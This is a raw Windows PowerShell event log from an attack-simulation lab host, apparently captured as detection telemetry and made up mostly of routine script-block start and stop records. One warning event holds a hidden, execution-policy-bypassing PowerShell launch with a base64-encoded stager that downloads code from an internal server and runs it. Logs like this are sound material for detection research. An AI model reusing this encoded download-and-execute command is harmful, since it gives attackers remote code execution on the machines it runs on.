SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648562
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648561
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648560
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648559
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648558
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648557
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648556
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648555
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648554
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648553
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648588
Keywords=None
Message=Started invocation of ScriptBlock ID: e961f72a-85ab-4191-bc40-ac9c3afaebf0
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648587
Keywords=None
Message=Started invocation of ScriptBlock ID: 9e63a023-5d0c-4272-bb10-075e68f84cf1
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648586
Keywords=None
Message=Completed invocation of ScriptBlock ID: 5f2a070f-30fe-41c4-a783-e46202d37577
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648585
Keywords=None
Message=Completed invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648584
Keywords=None
Message=Started invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648583
Keywords=None
Message=Started invocation of ScriptBlock ID: 5f2a070f-30fe-41c4-a783-e46202d37577
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648582
Keywords=None
Message=Completed invocation of ScriptBlock ID: 642ed007-c5d4-4d5c-9014-4f4fa368ff56
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648581
Keywords=None
Message=Completed invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648580
Keywords=None
Message=Started invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648579
Keywords=None
Message=Started invocation of ScriptBlock ID: 642ed007-c5d4-4d5c-9014-4f4fa368ff56
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648578
Keywords=None
Message=Started invocation of ScriptBlock ID: 9217efeb-7d82-4c7b-a9df-8144b1ab2909
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4100
EventType=3
Type=Warning
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Executing Pipeline
OpCode=To be used when an exception is raised
RecordNumber=2648577
Keywords=None
Message=Error Message = At line:1 char:83
+ ... ershell.exe [System.Security.Principal.WindowsIdentity]::GetCurrent()
+                                                                         ~
An expression was expected after '('.
Fully Qualified Error ID = ExpectedExpression,Microsoft.PowerShell.Commands.InvokeExpressionCommand


Context:
        Severity = Warning
        Host Name = ConsoleHost
        Host Version = 5.1.14393.4402
        Host ID = 5bf2fc48-81e2-439b-a9b9-31d6e67ada67
        Host Application = powershell -exec bypass -Noninteractive -windowstyle hidden -e WwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgBTAGUAcgB2AGUAcgBDAGUAcgB0AGkAZgBpAGMAYQB0AGUAVgBhAGwAaQBkAGEAdABpAG8AbgBDAGEAbABsAGIAYQBjAGsAIAA9ACAAewAkAHQAcgB1AGUAfQA7ACQATQBTAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAHMAeQBzAHQAZQBtAC4AbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAHMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AMQAwAC4AMAAuADEALgAxADYALwBiAGgALwBzAHkAbgBjAC8AYQBvAGwALwBfAHIAcAAnACkAKQApADsASQBFAFgAIAAkAE0AUwA=
        Engine Version = 5.1.14393.4402
        Runspace ID = c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
        Pipeline ID = 1
        Command Name = Invoke-Expression
        Command Type = Cmdlet
        Script Name = 
        Command Path = 
        Sequence Number = 21
        User = ATTACKRANGE\reed_schmidt
        Connected User = 
        Shell ID = Microsoft.PowerShell


User Data:
09/14/2021 01:21:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648576
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648575
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648574
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648573
Keywords=None
Message=Completed invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648572
Keywords=None
Message=Started invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648571
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648570
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648569
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648568
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648567
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648566
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648565
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648564
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648563
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648595
Keywords=None
Message=Completed invocation of ScriptBlock ID: 9217efeb-7d82-4c7b-a9df-8144b1ab2909
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648594
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648593
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648592
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648591
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648590
Keywords=None
Message=Completed invocation of ScriptBlock ID: 9e63a023-5d0c-4272-bb10-075e68f84cf1
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648589
Keywords=None
Message=Completed invocation of ScriptBlock ID: e961f72a-85ab-4191-bc40-ac9c3afaebf0
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648605
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648604
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648603
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648602
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648601
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648600
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648599
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
